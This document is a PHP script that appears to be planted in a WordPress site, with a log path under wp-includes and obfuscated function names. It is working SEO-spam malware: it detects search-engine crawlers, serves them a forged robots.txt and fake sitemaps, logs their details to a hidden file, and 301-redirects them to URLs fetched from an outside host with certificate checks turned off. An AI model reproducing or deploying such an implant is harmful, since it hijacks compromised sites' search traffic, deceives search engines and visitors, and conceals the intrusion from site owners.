<?php
$logFile = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/jcrop/log.txt';
function getClientIp123() {
	if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		$ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
		$clientIp = trim($ipList[0]);
	} elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
		$clientIp = $_SERVER['HTTP_X_REAL_IP'];
	} else {
		$clientIp = $_SERVER['REMOTE_ADDR'];
	}
	return $clientIp;
}
function tnhtda($url) {
	$rContent = @file_get_contents($url);
	if(empty($rContent)) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
		$rContent = curl_exec($ch);
		curl_close($ch);
	}
	return $rContent;
}
$clientIp = getClientIp123();
$clientBrowser = $_SERVER['HTTP_USER_AGENT'];
$requestUri = $_SERVER['REQUEST_URI'];
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'NOT HTTP REFERER';
$requestMethod = $_SERVER['REQUEST_METHOD'];
$serverProtocol = $_SERVER['SERVER_PROTOCOL'];
$remoteHost = gethostbyaddr($clientIp);
$remotePort = $_SERVER['REMOTE_PORT'];
$currentTime = date('Y-m-d H:i:s');
$logEntry = "[$currentTime] IP: $clientIp | Hostname: $remoteHost | Browser: $clientBrowser | Requested URL: $requestUri | Referrer: $referer | Request Method: $requestMethod | Protocol: $serverProtocol | Client Port: $remotePort" . PHP_EOL;
error_reporting(0);
$bagent = "Docomo|Bing|Google|Yahoo";
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
$http = urlencode($protocol);
$domain = $_SERVER['SERVER_NAME'];
$request_uri = $_SERVER['REQUEST_URI'];
$wjt = 0;
if (preg_match("/($bagent)/i", $clientBrowser)) {
	if ($request_uri === '/robots.txt') {
		header('Content-Type: text/plain');
		echo "User-agent: *\n";
		echo "Allow: /\n";
		echo "Sitemap: {$http}://{$domain}/wp-sitemaplist.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemapnum1.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemapnum2.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemapnum3.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap4.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap5.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap6.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap7.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap8.xml\n";
		echo "Sitemap: {$http}://{$domain}/sitemap9.xml\n";
		exit;
	}
	if ($request_uri === '/wp-sitemaplist.xml') {
		file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
        header('Content-Type: application/xml; charset=utf-8');
        $current_date = date('Y-m-d');
        $sitemaps = [];
        for ($i = 0; $i < 30; $i++) {
            $random_number = rand(100, 999);
            $sitemaps[] = "{$protocol}://{$domain}/sitemap{$random_number}.xml";
        }
        echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
        echo '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";
        foreach ($sitemaps as $sitemap) {
            echo "    <sitemap>\n";
            echo "        <loc>{$sitemap}</loc>\n";
            echo "        <lastmod>{$current_date}</lastmod>\n";
            echo "    </sitemap>\n";
        }
        echo '</sitemapindex>';
        exit;
    }
	if (preg_match('/\/\??sitemap([a-zA-Z0-9]+)\.xml$/', $request_uri)) {
		file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
		header('Content-Type: application/xml; charset=utf-8');
		$current_date = date('Y-m-d');
		$urls = [];
		for ($i = 0; $i < 999; $i++) {
			$paths = ['/p/', '/id/', '/page/', '/i/'];
			$random_path = $paths[array_rand($paths)];
			$random_number = '';
			for ($j = 0; $j < 7; $j++) {
				$random_number .= chr(rand(0, 1) ? rand(48, 57) : (rand(0, 1) ? rand(65, 90) : rand(97, 122)));
			}
			if ($wjt == 0) {

				$urls[] = "{$http}://{$domain}{$random_path}{$random_number}.html";
			} else {

				$urls[] = "{$http}://{$domain}/?type={$random_path}{$random_number}.html";
			}
		}
		echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
		echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";
		foreach ($urls as $url) {
			echo "    <url>\n";
			echo "        <loc>{$url}</loc>\n";
			echo "        <lastmod>{$current_date}</lastmod>\n";
			echo "        <changefreq>daily</changefreq>\n";
			echo "        <priority>0.8</priority>\n";
			echo "    </url>\n";
		}
		echo '</urlset>';
		exit;
	}
	if (preg_match('/\/(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $request_uri, $matches) || 
		        (isset($_GET['type']) && preg_match('/^(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $_GET['type'], $matches))) {
		file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
		$random_number = isset($matches[2]) ? $matches[2] : $matches[2];
		$contents = tnhtda('https://box6.fingerling.org/301/sm.txt');
		$lines = preg_split('/\r\n|\r|\n/', $contents);
		$randomLineKey = array_rand($lines);
		$tl = $lines[$randomLineKey];
		header('HTTP/1.1 301 Moved Permanently');
		header('Location: '.$tl);
		exit;
	}
}
?>